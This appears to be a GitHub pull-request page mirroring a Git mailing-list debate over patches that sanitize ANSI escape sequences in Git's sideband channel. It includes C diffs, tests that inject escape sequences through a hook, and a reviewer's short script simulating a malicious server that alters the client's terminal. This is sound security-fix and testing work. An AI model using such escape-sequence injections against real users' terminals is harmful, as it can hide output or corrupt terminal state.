-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+ ALLOW_ANSI_ERASE_IN_LINE = 1<<1,
+ ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE = 1<<2,
+ ALLOW_DEFAULT_ANSI_SEQUENCES =
+ ALLOW_ANSI_COLOR_SEQUENCES |
+ ALLOW_ANSI_ERASE_IN_LINE |
+ ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE,
+ ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,
+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
+
+static inline int skip_prefix_in_csv(const char *value, const char *prefix,
+ const char **out)
+{
+ if (!skip_prefix(value, prefix, &value) ||
+ (*value && *value != ','))
+ return 0;
+ *out = value + !!*value;
+ return 1;
+}
+
+static void parse_allow_control_characters(const char *value)
+{
+ allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
+ while (*value) {
+ if (skip_prefix_in_csv(value, "default", &value))
+ allow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;
+ else if (skip_prefix_in_csv(value, "color", &value))
+ allow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;
+ else if (skip_prefix_in_csv(value, "erase-in-line", &value))
+ allow_control_characters |= ALLOW_ANSI_ERASE_IN_LINE;
+ else if (skip_prefix_in_csv(value, "cursor-horizontal-absolute", &value))
+ allow_control_characters |= ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE;
+ else
+ warning(_("unrecognized value for `sideband."
+ "allowControlCharacters`: '%s'"), value);
+ }
+}
/* Returns a color setting (GIT_COLOR_NEVER, etc). */
static int use_sideband_colors(void)
@@ -54,13 +87,8 @@ static int use_sideband_colors(void)
if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
&value))
; /* huh? `get_maybe_bool()` returned -1 */
- else if (!strcmp(value, "default"))
- allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
- else if (!strcmp(value, "color"))
- allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
else
- warning(_("unrecognized value for `sideband."
- "allowControlCharacters`: '%s'"), value);
+ parse_allow_control_characters(value);
break;
default:
break; /* not configured */
@@ -93,7 +121,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
list_config_item(list, prefix, keywords[i].keyword);
}
-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)
{
int i;
@@ -107,12 +135,17 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int
* https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.
*/
- if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
- n < 3 || src[0] != '\x1b' || src[1] != '[')
+ if (n < 3 || src[0] != '\x1b' || src[1] != '[')
return 0;
+error("allow: 0x%x", allow_control_characters);
for (i = 2; i < n; i++) {
- if (src[i] == 'm') {
+ if ((src[i] == 'G' &&
+ (allow_control_characters & ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE)) ||
+ (src[i] == 'K' &&
+ (allow_control_characters & ALLOW_ANSI_ERASE_IN_LINE)) ||
+ (src[i] == 'm' &&
+ (allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES))) {
strbuf_add(dest, src, i + 1);
return i;
}
@@ -127,7 +160,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
{
int i;
- if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
+ if ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {
strbuf_add(dest, src, n);
return;
}
@@ -136,7 +169,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
for (; n && *src; src++, n--) {
if (!iscntrl(*src) || *src == '\t' || *src == '\n')
strbuf_addch(dest, *src);
- else if ((i = handle_ansi_color_sequence(dest, src, n))) {
+ else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&
+ (i = handle_ansi_sequence(dest, src, n))) {
src += i;
n -= i;
} else {
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 98c575e2e7f..a59accd0ec2 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -104,7 +104,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '
printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
exec "$@"
EOF
- test_config_global uploadPack.packObjectshook ./color-me-surprised &&
+ test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
test_commit need-at-least-one-commit &&
git clone --no-local . throw-away 2>stderr &&
@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '
test_file_not_empty actual
'
+test_decode_csi() {
+ awk '{
+ while (match($0, /\033/) != 0) {
+ printf "%sCSI ", substr($0, 1, RSTART-1);
+ $0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);
+ }
+ print
+ }'
+}
+
+test_expect_success 'control sequences in sideband allowed by default' '
+ write_script .git/color-me-surprised <<-\EOF &&
+ printf "error: \\033[31mcolor\\033[m\\033[Goverwrite\\033[Gerase\\033[K\\033?25l\\n" >&2
+ exec "$@"
+ EOF
+ test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
+ test_commit need-at-least-one-commit-at-least &&
+
+ rm -rf throw-away &&
+ git clone --no-local . throw-away 2>stderr &&
+ test_decode_color <stderr >color-decoded &&
+ test_decode_csi <color-decoded >decoded &&
+ test_grep "CSI \\[K" decoded &&
+ test_grep "CSI \\[G" decoded &&
+ test_grep "\\^\\[?25l" decoded &&
+
+ rm -rf throw-away &&
+ git -c sideband.allowControlCharacters=erase-in-line,color \
+ clone --no-local . throw-away 2>stderr &&
+ test_decode_color <stderr >color-decoded &&
+ test_decode_csi <color-decoded >decoded &&
+ test_grep "RED" decoded &&
+ test_grep "CSI \\[K" decoded &&
+ test_grep ! "CSI \\[G" decoded &&
+ test_grep ! "\\^\\[\\[K" decoded &&
+ test_grep "\\^\\[\\[G" decoded
+'
+
test_done
-- snap --
I am not particularly happy about the current shape of the patch because
the functionality it adds is not flexible enough. Currently I am thinking
about some sort of pattern matcher where users could configure
`sideband.allowControlCharacters="CSI [ K, CSI [ G"` or something. Or
`^[[K,^[[G`, i.e. reflecting the sanitized version of the control
sequences that should be passed through instead. But that might be totally
overengineered and not worth it.
After all, I have not received a single complaint about the new default in
Git for Windows, where only color sequences are passed through by default,
and all others are sanitized. which leads me to the very important
conclusion that the concerns that were raised, and that were considered
serious enough to prevent these patches to be included in the embargoed
release, were potentially far, far less concerning than originally
assumed.
Also: The suggestion on the git-security mailing list was to reach out for
input from the wider Git community to be able to come up with a better
solution than the small circle of developers on the git-security mailing
list could. Notwithstanding the fact that already the first reply to my
patch series sent a very strong message that at least one contributor
considered this already a closed case upon arrival, I have to point out
that apart from the ERASE-IN-LINE and CURSOR_HORIZONTAL_ABSOLUTE
suggestions, no other control sequences have been suggested as needing to
be passed through by default. And those suggestions came from someone who
had already been very vocal in the discussion on the git-security mailing
list, so maybe the suggestion to reach out to the wider commmunity was not
actually completely genuine interest in an improved patch series.
Besides, _iff_ there are users who need to enable control sequence
pass-through for anything else than color, they are likely to need that
only for a very small number of repositories, and for repositories whose
remote servers they trust, therefore they can easily just opt out of
sanitizing control sequences in those few repositories.
> > and even insert characters into the input buffer (as if the user had
> > typed those characters).
>
> Maybe I've missed something but my understanding from the link above is that
> this is a non-issue for terminal emulators released in the last 20 years.
Oh, that's incorrect, at least if you talk about control sequences that
insert characters into the input buffer. Those control sequences which let
you query the terminal are used e.g. to determine the current window
dimensions. They very much insert characters into the input buffer. They
have to, there is no other way to return information back to the caller.
Maybe the _particular_ Escape sequence I talked about, to query the
foreground text color, has been quietly disabled in some terminal
emulators (but certainly not in all of them, I know, because I use that
feature in one of my terminal emulators all the time).
But I did caution already in the discussion on the git-security mailing
list against getting hung up with _one particular_ control sequence. Not
only does that forget about all the other wonderful control sequences used
for querying information from the terminal, they also completely neglect
that it is totally within terminal emulators' purview to introduce new
capabilities via new control sequences. Some people in this dicussion
would probably deem that stupid or terrible or something, or even that it
would render the terminal emulator _buggy_, but I'd argue that it's in the
same ballpark as introducing a new `git repo` command and breaking
everybody's setup who already had an `alias.repo`: It is _totally_ within
the remit of Git to introduce such a command _and_ break existing user's
setups that way. Just like it was within the Git project's rights to
rename all `.txt` files in `Documentation/`, breaking tons of existing
deeplinks on the web. Some people outside of the Git project rolled their
eyes about that decision, but they simply had no say in the matter. Same
goes for terminal emulators. The contract is clear: terminal emulators
interpret control sequences, software using them has to be careful what
control sequences it sends and has no vote which control sequences the
terminal emulator chooses to support or not.
Ciao,
Johannes
> In any case I think that that is a security bug in the emulator and
> should be fixed there as it has been in the past. I found [1] to be much
> more informative than the mitre link above about the actual
> vulnerabilities.
>
> Best Wishes
>
> Phillip
>
> [1] https://marc.info/?l=bugtraq&m=104612710031920
>
> > This patch series addresses this vulnerability by sanitizing the sideband
> > channel.
> >
> > It is important to note that the lack of sanitization in the sideband
> > channel is already "exploited" by the Git user community, albeit in
> > well-intentioned ways. For instance, certain server-side hooks use ANSI
> > color sequences in error messages to make them more noticeable during
> > intentional failed fetches, e.g. as seen at
> > https://github.com/kikeonline/githook-explode and
> > https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> >
> > To accommodate such use cases, Git will allow ANSI color sequences to pass
> > through by default, while presenting all other ASCII control characters in a
> > common form (e.g., presenting the ESC character as ^[).
> >
> > This vulnerability was reported to the Git security mailing list in early
> > November, along with these fixes, as part of an iteration of the patches
> > that led to the coordinated security release on Tuesday, January 14th, 2025.
> >
> > While Git for Windows included these fixes in v2.47.1(2), the consensus,
> > apart from one reviewer, was not to include them in Git's embargoed
> > versions. The risk was considered too high to disrupt existing scenarios
> > that depend on control characters received via the sideband channel being
> > sent verbatim to the user's terminal emulator.
> >
> > Several reviewers suggested advising terminal emulator writers about these
> > "quality of implementation issues" instead. I was quite surprised by this
> > approach, as it seems overly optimistic to assume that terminal emulators
> > could distinguish between control characters intentionally sent by Git and
> > those unintentionally relayed from the remote server.
> >
> > Please note that this patch series applies cleanly on top of v2.47.2. To
> > apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> > security releases), the calls to test_grep need to be replaced with calls
> > to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> > replaced with calls to git_config_get_string().
> >
> > Johannes Schindelin (3):
> > sideband: mask control characters
> > sideband: introduce an "escape hatch" to allow control characters
> > sideband: do allow ANSI color sequences by default
> >
> > Documentation/config.txt | 2 +
> > Documentation/config/sideband.txt | 16 ++++++
> > sideband.c | 78 ++++++++++++++++++++++++++++-
> > t/t5409-colorize-remote-messages.sh | 30 +++++++++++
> > 4 files changed, 124 insertions(+), 2 deletions(-)
> > create mode 100644 Documentation/config/sideband.txt
> >
> >
> > base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> > Published-As:
> > https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> > Fetch-It-Via: git fetch https://github.com/gitgitgadget/git
> > pr-1853/dscho/sanitize-sideband-v1
> > Pull-Request: https://github.com/gitgitgadget/git/pull/1853
>
> |
|
On the Git mailing list, "brian m. carlson" wrote (reply to this): On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:
> So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
> https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
> for this control sequence, as well as others that elicit responses from
> terminal emulators, from current cursor position to terminal
> capabilities)? I use this Escape sequence myself in my `tmux` sessions to
> toggle the colors between bright-on-dark and dark-on-bright.
So let's talk about this class of escape sequences with your patches for
a moment. I compiled the patches in this series on my system and
changed the default PATH to use that client-side git binary (the
server-side is unchanged). I have not changed any configuration related
to your patches, so the behaviour is the patch default.
I have a server called castro (after the San Francisco neighbourhood)
and I added the following script called `~/bin/fake-git-upload-pack`,
which should let us simulate a malicious server:
----
#!/bin/sh
printf '\033]10;rgb:ffff/ffff/ffff\007Hello, world!\n' >&2
exec git-upload-pack "$@"
----
This basically uses this class of escape sequences to change the
foreground colour to bright white.
I then ran a clone command, like so:
----
% git clone -u fake-git-upload-pack castro:~/git/css.git
Cloning into 'css'...
Hello, world!
remote: Enumerating objects: 663, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)
Receiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.
Resolving deltas: 100% (329/329), done.
----
Despite my patched Git binary, the escape sequence was executed and my
foreground colour was changed. So I don't think these patches are
sufficient to actually fix the issue and I somewhat doubt that it's even
possible at all to defend against a malicious SSH server which would
like to send arbitrary escape sequences in general.
I don't think we can just close stderr or not wire it up to the TTY
because OpenSSH needs the TTY to prompt and doing so also breaks things
on Windows.[0] There are also cases where the remote side sends
messages over the Banner portion of the protocol that are required for
auth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting
stderr to `/dev/null` would mean that people couldn't log into those
machines.
If it's the case that we effectively can't fix this for SSH, I don't see
the advantage to trying to patch this for HTTPS, since it would give a
false sense of security and many people use both in their daily work (I
certainly do).
> It is true that many terminal emulators started disabling support for such
> Escape sequences. But that's not because the terminal emulators' features
> were buggy. That's because some console programs are buggy, allowing
> payload originating from outside the user's trust boundary to be passed
> through to the terminal without proper sanitizing. That's what the entire
> CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
> is all about.
It is in general very difficult to eliminate all sources of untrusted
input in the terminal because people run `cat` and a variety of other
tools on untrusted files all the time. It would certainly be convenient
if we did not need to deal with that case, but we do nonetheless.
That's why we've tended to patch terminal emulators when escape
sequences execute code.
> That check, whether the output is even sent to a terminal emulator or not,
> is notably something that cannot ever be done by those `pre-receive` hooks
> that were held up as examples to block this here patch series: They have
> no way of knowing whether or not their output goes to a terminal, but they
> send the control sequences anyway. Because YOLO, I guess. In that
> respect, I think that even you two would agree that those `pre-receive`
> hooks are broken by design.
I don't agree. Lots of systems that are not terminals interpret
at least some terminal escape sequences, such as GitHub Actions. And I
can tell you that there are a substantial number of organizations that do
indeed have actual pre-receive hooks in production that use terminal
escape sequences without actually knowing that the other side supports
them because I have had to troubleshoot those pre-receive hooks.
Even if we were to agree that it might not be desirable to send terminal
escape sequences without knowing if there's a terminal, people do it,
and even Vim does it (try `TERM=dumb vim -e`, whereupon it will send
escape sequences, much to my annoyance). I don't think we can say that
everybody thinks this kind of thing is unreasonable and clearly some
people very much want to do it and make reasonably good use of it, so
it's a use case we should consider.
> Also, it is relatively easy if you fail to protect your terminal emulator
> to have your entire session messed up to a point where not even a `reset`
> restores it. And corrupting the terminal session is still much better than
> getting pranked by having all of Git's output be overwritten with a
> picture of a snake (download the raw version of
> https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
> verifying that it is just a regular text file containing only a few
> harmless escape sequences~ -- and then `cat` it to your terminal). That
> could have been goatse, too, though. Or for that matter (as
> https://github.com/mpv-player/mpv demonstrates, which allows you to render
> entire Youtube videos in your current terminal window) you could be
> Rick-rolled. And all of those are still pranks more than anything. Much
> worse can be done with those terminal emulator capabilities.
As I mentioned, sending Sixel images can be legitimately useful to send
things like QR codes to build outputs or for things like authentication.
Certainly there are less savoury things one can do as well.
> For the record, I was almost successfully gas-lit into believing that this
> here issue is not even a vulnerability, as was claimed by some (but not
> all) involved in the discussion on the Git security list. Fortunately I am
> in a wonderful position that I have access to outstanding security
> researchers, and I asked two of them, independently, to tell me whether or
> not this is a vulnerability that needs to be fixed. Independently, both
> agreed that my assessment "High" was too high, and it should have been
> "Moderate" instead. At the same time, they also both agreed that it is a
> vulnerability that should be fixed in Git.
I don't think "gas-lit" is an accurate characterization of the
discussion. I disagreed with you that this was a Git-specific problem
and some others wanted more discussion about the matter. I don't think
anyone else had intentions of misleading or deceiving you, or making you
doubt your memory or perceptions of reality, and I certainly did not.
Instead, we simply disagreed on a technical matter. Linus and I have
clearly disagreed strongly on some matters on this list in the past and
I don't think that "gaslighting" would be an accurate characterization
there, either.
I will state that while I do disagree with you on this matter and it's
clear that we don't always see eye to eye or necessarily get along
famously, I do appreciate the work that you do for this project and Git
for Windows and I do respect you and your contributions.
[0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843
--
brian m. carlson (they/them)
Toronto, Ontario, CA |
|
On the Git mailing list, Johannes Schindelin wrote (reply to this): Hi brian,
On Wed, 3 Dec 2025, brian m. carlson wrote:
> On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:
> > So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
> > https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
> > for this control sequence, as well as others that elicit responses from
> > terminal emulators, from current cursor position to terminal
> > capabilities)? I use this Escape sequence myself in my `tmux` sessions to
> > toggle the colors between bright-on-dark and dark-on-bright.
>
> So let's talk about this class of escape sequences with your patches for
> a moment. I compiled the patches in this series on my system and
> changed the default PATH to use that client-side git binary (the
> server-side is unchanged). I have not changed any configuration related
> to your patches, so the behaviour is the patch default.
Thank you for testing this patch series; I'm really happy that we can
cross this long-standing item off the list. It opens the door for us to
work together, and I am eager to keep the momentum going.
> I have a server called castro (after the San Francisco neighbourhood)
> and I added the following script called `~/bin/fake-git-upload-pack`,
> which should let us simulate a malicious server:
>
> ----
> #!/bin/sh
>
> printf '\033]10;rgb:ffff/ffff/ffff\007Hello, world!\n' >&2
>
> exec git-upload-pack "$@"
> ----
>
> This basically uses this class of escape sequences to change the
> foreground colour to bright white.
>
> I then ran a clone command, like so:
>
> ----
> % git clone -u fake-git-upload-pack castro:~/git/css.git
> Cloning into 'css'...
> Hello, world!
> remote: Enumerating objects: 663, done.
> remote: Counting objects: 100% (4/4), done.
> remote: Compressing objects: 100% (3/3), done.
> remote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)
> Receiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.
> Resolving deltas: 100% (329/329), done.
> ----
>
> Despite my patched Git binary, the escape sequence was executed and my
> foreground colour was changed. So I don't think these patches are
> sufficient to actually fix the issue and I somewhat doubt that it's even
> possible at all to defend against a malicious SSH server which would
> like to send arbitrary escape sequences in general.
>
> I don't think we can just close stderr or not wire it up to the TTY
> because OpenSSH needs the TTY to prompt and doing so also breaks things
> on Windows.[0] There are also cases where the remote side sends
> messages over the Banner portion of the protocol that are required for
> auth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting
> stderr to `/dev/null` would mean that people couldn't log into those
> machines.
Just to clarify: the patches here are specifically about the sideband
behavior in HTTPS, where the attack scenario that I am trying to defend
against involves a malicious server posing as a trusted one, e.g. via a
domain that looks highly similar to "github.com". In that context, SSH
isn’t really applicable, victims would be immediately suspicious if asked
for SSH credentials.
So while your SSH tests are interesting, they’re outside the scope of this
patch series. If you’d like to explore equivalent fixes on the SSH side,
that would be a great complementary effort, but the focus here is ensuring
sideband over HTTPS is handled securely.
> If it's the case that we effectively can't fix this for SSH, I don't see
> the advantage to trying to patch this for HTTPS, since it would give a
> false sense of security and many people use both in their daily work (I
> certainly do).
Thanks for sharing your opinion.
I would frame it a bit differently, though: security is rarely
all‑or‑nothing, it’s a game of layers.
Even if SSH-based Git operations have weaknesses that seem to be unlikely
to be fully fixable right now, that doesn’t mean we should leave
HTTPS-based operations exposed when we can strengthen them. Each
improvement reduces the attack surface, and together they add up to
meaningful protection. So rather than a false sense of security, I see
this patch series as one necessary step in a layered approach. If
complementary work on SSH becomes possible, that would be great, but in
the meantime it seems rational to secure what we can.
> > It is true that many terminal emulators started disabling support for such
> > Escape sequences. But that's not because the terminal emulators' features
> > were buggy. That's because some console programs are buggy, allowing
> > payload originating from outside the user's trust boundary to be passed
> > through to the terminal without proper sanitizing. That's what the entire
> > CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
> > is all about.
>
> It is in general very difficult to eliminate all sources of untrusted
> input in the terminal because people run `cat` and a variety of other
> tools on untrusted files all the time. It would certainly be convenient
> if we did not need to deal with that case, but we do nonetheless.
> That's why we've tended to patch terminal emulators when escape
> sequences execute code.
You’re right that users sometimes do things that are hard or impossible to
protect against. There is nothing we can do in Git's source code to
prevent a user from `cat`ing a malicous file, for example.
But what we _can_ do is to ensure that Git, at least, is as secure by
default as we can make it. In this context: to sanitize control sequences
originating from outside Git's (or the Git user's) control. That’s exactly
why CWE‑150 exists: the responsibility lies with programs to sanitize what
they pass through, rather than expecting terminal emulators to defend
against every possible misuse.
Patching terminal emulators is a last‑resort mitigation, and given the
number of terminal emulators, it's once again far from an "all-or-nothing"
situation. In line with your earlier argument, one terminal emulator's
maintainer could claim that _another_ terminal emulator is still
unpatched, so why should _they_ be required to patch theirs? You see where
that leads, to finger pointing instead of security, and we all lose. I'd
rather see all terminal emulator projects doing what is in their power to
add layers of security, just as I am trying to do what is in my power
regarding Git's security in this here mail thread.
Concretely, even if we cannot eliminate all sources of untrusted input in
the terminal, in general, we should at least do our best to prevent Git
from passing through untrusted input to the terminal.
> > That check, whether the output is even sent to a terminal emulator or not,
> > is notably something that cannot ever be done by those `pre-receive` hooks
> > that were held up as examples to block this here patch series: They have
> > no way of knowing whether or not their output goes to a terminal, but they
> > send the control sequences anyway. Because YOLO, I guess. In that
> > respect, I think that even you two would agree that those `pre-receive`
> > hooks are broken by design.
>
> I don't agree. Lots of systems that are not terminals interpret
> at least some terminal escape sequences, such as GitHub Actions. And I
> can tell you that there are a substantial number of organizations that do
> indeed have actual pre-receive hooks in production that use terminal
> escape sequences without actually knowing that the other side supports
> them because I have had to troubleshoot those pre-receive hooks.
Oh, I can imagine how cumbersome troubleshooting such `pre-receive` hooks
can be. I can imagine how insistent the inventors of such hooks are on
doing a legitimate thing. And because they are paying customers... they
are right.
And far be I from noticing that many systems that are not terminals
interpret some Escape sequences. In the extensive research I conducted in
October and November last year in the course of developing this here patch
series, I even stumbled across successful exploits targeting users of
web-based log viewers that interpret such Escape sequences, a scenario in
which I myself would have easily fallen prey to such an attack, as I would
have been totally unprepared to even suspect that the log viewer shows me
anything but plain text.
Having said all that, it is incorrect in general to assume that all
consumers of the output of Git commands _can_ interpret Escape sequences,
even if there should be a surprising number of consumers that do.
> Even if we were to agree that it might not be desirable to send terminal
> escape sequences without knowing if there's a terminal, people do it,
> and even Vim does it (try `TERM=dumb vim -e`, whereupon it will send
> escape sequences, much to my annoyance). I don't think we can say that
> everybody thinks this kind of thing is unreasonable and clearly some
> people very much want to do it and make reasonably good use of it, so
> it's a use case we should consider.
I am puzzled. Do you really want to maintain that it is rational to send
Escape sequences without checking whether the receiver can interpret them
as desired? By this rationale, we could simplify the logic in `color.c`
rather dramatically, and always send Escape sequences. If you think this
through, I am sure you will want to stop this train of thought.
> > Also, it is relatively easy if you fail to protect your terminal emulator
> > to have your entire session messed up to a point where not even a `reset`
> > restores it. And corrupting the terminal session is still much better than
> > getting pranked by having all of Git's output be overwritten with a
> > picture of a snake (download the raw version of
> > https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
> > verifying that it is just a regular text file containing only a few
> > harmless escape sequences~ -- and then `cat` it to your terminal). That
> > could have been goatse, too, though. Or for that matter (as
> > https://github.com/mpv-player/mpv demonstrates, which allows you to render
> > entire Youtube videos in your current terminal window) you could be
> > Rick-rolled. And all of those are still pranks more than anything. Much
> > worse can be done with those terminal emulator capabilities.
>
> As I mentioned, sending Sixel images can be legitimately useful to send
> things like QR codes to build outputs or for things like authentication.
> Certainly there are less savoury things one can do as well.
Right. But the presence of legitimate use-cases does not legitimize
holding up bug fixes. For a humorous take on this, see https://xkcd.com/1172/.
By definition, every security bug fix is a breaking change. Just like the
user of the space bar heater in that xkcd comic, the `pre-receive` hooks
you cited rely on a bug that needs to be fixed.
And a bug in Git it is, it's a weakness, matching CWE-150, giving rise to
vulnerabilities I have illustrated on the git-security mailing list (which
I will make public once I am reasonably certain that most Git users have
had a chance to upgrade to versions that no longer have those
vulnerabilities).
Ciao,
Johannes
> > For the record, I was almost successfully gas-lit into believing that this
> > here issue is not even a vulnerability, as was claimed by some (but not
> > all) involved in the discussion on the Git security list. Fortunately I am
> > in a wonderful position that I have access to outstanding security
> > researchers, and I asked two of them, independently, to tell me whether or
> > not this is a vulnerability that needs to be fixed. Independently, both
> > agreed that my assessment "High" was too high, and it should have been
> > "Moderate" instead. At the same time, they also both agreed that it is a
> > vulnerability that should be fixed in Git.
>
> I don't think "gas-lit" is an accurate characterization of the
> discussion. I disagreed with you that this was a Git-specific problem
> and some others wanted more discussion about the matter. I don't think
> anyone else had intentions of misleading or deceiving you, or making you
> doubt your memory or perceptions of reality, and I certainly did not.
> Instead, we simply disagreed on a technical matter. Linus and I have
> clearly disagreed strongly on some matters on this list in the past and
> I don't think that "gaslighting" would be an accurate characterization
> there, either.
>
> I will state that while I do disagree with you on this matter and it's
> clear that we don't always see eye to eye or necessarily get along
> famously, I do appreciate the work that you do for this project and Git
> for Windows and I do respect you and your contributions.
>
> [0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843
> --
> brian m. carlson (they/them)
> Toronto, Ontario, CA
> |
The output of `git clone` is a vital component for understanding what has happened when things go wrong. However, these logs are partially under the control of the remote server (via the "sideband", which typically contains what the remote `git pack-objects` process sends to `stderr`), and is currently not sanitized by Git. This makes Git susceptible to ANSI escape sequence injection (see CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows attackers to corrupt terminal state, to hide information, and even to insert characters into the input buffer (i.e. as if the user had typed those characters). To plug this vulnerability, disallow any control character in the sideband, replacing them instead with the common `^<letter/symbol>` (e.g. `^[` for `\x1b`, `^A` for `\x01`). There is likely a need for more fine-grained controls instead of using a "heavy hammer" like this, which will be introduced subsequently. Helped-by: Phillip Wood <phillip.wood@dunelm.org.uk> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The preceding commit fixed the vulnerability whereas sideband messages (that are under the control of the remote server) could contain ANSI escape sequences that would be sent to the terminal verbatim. However, this fix may not be desirable under all circumstances, e.g. when remote servers deliberately add coloring to their messages to increase their urgency. To help with those use cases, give users a way to opt-out of the protections: `sideband.allowControlCharacters`. Suggested-by: brian m. carlson <sandals@crustytoothpaste.net> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The preceding two commits introduced special handling of the sideband channel to neutralize ANSI escape sequences before sending the payload to the terminal, and `sideband.allowControlCharacters` to override that behavior. However, as reported by brian m. carlson, some `pre-receive` hooks that are actively used in practice want to color their messages and therefore rely on the fact that Git passes them through to the terminal, even though they have no way to determine whether the receiving side can actually handle Escape sequences (think e.g. about the practice recommended by Git that third-party applications wishing to use Git functionality parse the output of Git commands). In contrast to other ANSI escape sequences, it is highly unlikely that coloring sequences can be essential tools in attack vectors that mislead Git users e.g. by hiding crucial information. Therefore we can have both: Continue to allow ANSI coloring sequences to be passed to the terminal by default, and neutralize all other ANSI Escape sequences. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
…rough Even though control sequences that erase characters are quite juicy for attack scenarios, where attackers are eager to hide traces of suspicious activities, during the review of the side band sanitizing patch series concerns were raised that there might be some legimitate scenarios where Git server's `pre-receive` hooks use those sequences in a benign way. Control sequences to move the cursor can likewise be used to hide tracks by overwriting characters, and have been equally pointed out as having legitimate users. Let's add options to let users opt into passing through those ANSI Escape sequences: `sideband.allowControlCharacters` now supports also `cursor` and `erase`, and it parses the value as a comma-separated list. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
dscho
force-pushed
the
sanitize-sideband
branch
from
a26c4ed to
fe109cd
Compare
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Git's sideband channel passes server output directly to the client terminal without sanitization. This includes progress messages, error output, and diagnostics from remote hooks during clone, fetch, and push operations.
This creates an ANSI escape sequence injection vulnerability (CWE-150). A malicious or compromised server can corrupt terminal state, obscure information, or inject characters into the terminal's input buffer. The client has no mechanism to distinguish between legitimate output and attack sequences.
This series fixes the vulnerability by sanitizing control characters in the sideband output. ANSI color sequences (SGR codes) pass through by default, since server-side hooks exist that use these for visibility (e.g. https://github.com/kikeonline/githook-explode). By default, all other control characters are rendered in caret notation (e.g., ESC becomes
^[).Users who need different behavior get configuration options:
sideband.allowControlCharactersprovides an escape hatch for environments that require raw passthrough. The defaults are secure.Note: This series applies cleanly on v2.47.3.
Changes since v1:
cc: "brian m. carlson" sandals@crustytoothpaste.net
cc: Phillip Wood phillip.wood123@gmail.com
cc: Andreas Schwab schwab@linux-m68k.org
cc: Ondrej Pohorelsky opohorel@redhat.com